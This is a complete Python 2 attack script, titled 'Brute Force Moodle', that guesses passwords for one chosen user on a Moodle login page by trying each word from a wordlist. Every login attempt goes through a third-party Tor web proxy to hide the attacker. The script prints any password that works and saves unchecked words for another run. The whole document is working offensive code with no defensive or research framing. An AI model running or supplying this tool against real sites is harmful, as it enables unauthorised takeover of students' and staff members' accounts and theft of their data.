Brute Force Moodle

#!/usr/bin/env python
import urllib2, sys, re, urllib, time, getopt
def interrupt():
	print "\n[EE] User intervention"
	sys.exit(1)
def printopts():
	print """./moodle_bruteforcer [-n] <site> <user> <wordlist location>
\t-n = Disable verbosity

<site> should be the login page of the site. Eg: http://www.example.com/login/index.php
<user> should be the user name of the account you want to attack. Eg: cfoster
<wordlist location> should be the *full* path to a wordlist file to attack with, with one word per line."""
	sys.exit(0)
t1 = time.time()
try: opts = getopt.getopt(sys.argv[1:],'n')
except: printopts()
if len(opts[1]) != 3: printopts()
print """============================================================
Moodle Bruteforcer
Written by Stealth-
http://www.stealth-x.com/programming/moodle-bruteforcer.php
============================================================
"""
try:
	if opts[0][0][0] == "-n":
		print "[i] Disabling verbosity"
		verbose = 0
except IndexError:
	print "[i] Enabling verbosity"
	verbose = 1
try:
	wordlistloc = opts[1][2]
	user = opts[1][1]
	attackloc = opts[1][0]
	# count wordlist length for monitering purposes
	wordlist = open(wordlistloc)
	length = 0
	for word in wordlist:
		length+=1
	wordlist.close()
 	# done
	wordlist = open(wordlistloc)
	if verbose:
		print "[i] Using wordlist: " + wordlistloc
		print "[i] Targeting user: " + user
		print "[i] Attacking site: " + attackloc
except IOError: print "[EE] Error loading wordlist: " + wordlistloc; sys.exit(1)
try:
	sys.stdout.write("[W] Initiating attack in 9")
	count = 9
	while count != 0:
		sys.stdout.flush()
		count-=1
		time.sleep(1)
		sys.stdout.write("\b" + str(count))
	sys.stdout.write("\bnow\n")
	found = 0
	count = 0
	curlength = 0
	deniedwords = []
	for word in wordlist:
		count+=1
		curlength+=1
		word = word.replace("\r","").replace("\n","")
		if verbose:
			sys.stdout.write("[A] Trying: " + word + "....")
			sys.stdout.flush()
		login_setup = [('username', user),('password', word)]
		login_data = urllib.urlencode(login_setup)
		opener = urllib2.build_opener()
		try:
			site = opener.open("https://tor-proxy.net/proxy/tor/browse.php?u=" + attackloc + "&b=2", login_data).read()
		except Exception, mesg:
			if verbose: sys.stdout.write(" failed.\n")
			print "[i] Connection Error: " + str(mesg)
			print "[i] Will try to continue"
			deniedwords.append(word)
			continue
		if re.search("You got here because there was something wrong with your request.",site): # This is tor-proxy.net saying invalid URL.
			if verbose: sys.stdout.write(" failed.\n")
			print "[EE] Tor-proxy.net reported a error. If you are seeing this message repeatedly, make sure your site address is in this format: http://www.example.net."
			# tor-proxy.net randomly gets errors sometimes. So we will append this word to a list that will be dropped into a file at the end, if no correct password has been already found
			deniedwords.append(word)
			continue
		if re.search("Invalid login, please try again",site):
			if verbose:
				sys.stdout.write(" failed.")
				if count > 10:
					sys.stdout.write(" [" + str(curlength) + "/" + str(length) + " ("+ str(100 * curlength/length) + "%)]\n")
					count = 0
				else: sys.stdout.write("\n")
		else:
			if verbose:
				sys.stdout.write(" success!\n")
				sys.stdout.flush()
			print "[i] Successful login password found: " + word
			found = 1
			break
except KeyboardInterrupt: interrupt()
except EOFError: interrupt()
wordlist.close()
if not found:
	print "[i] Reached end of wordlist"
	lens = len(deniedwords)
	if lens != 0:
		print "[i] There are " + str(lens) + " words that did not get checked due to tor-proxy.net failures."
		print "[i] They are being dropped into the 'drop.txt' file"
		print "[i] So you may wish to run moodle_bruteforcer again with drop.txt as the wordlist"
		drop = open("drop.txt","w")
		for word in deniedwords:
			drop.write(word)
		drop.close()
print "[i] The bruteforcing process took " + str(time.time()-t1) + " seconds and " + str(curlength) + " attempts."
print "[X] Moodle Bruteforcer is now exiting."
sys.exit(0)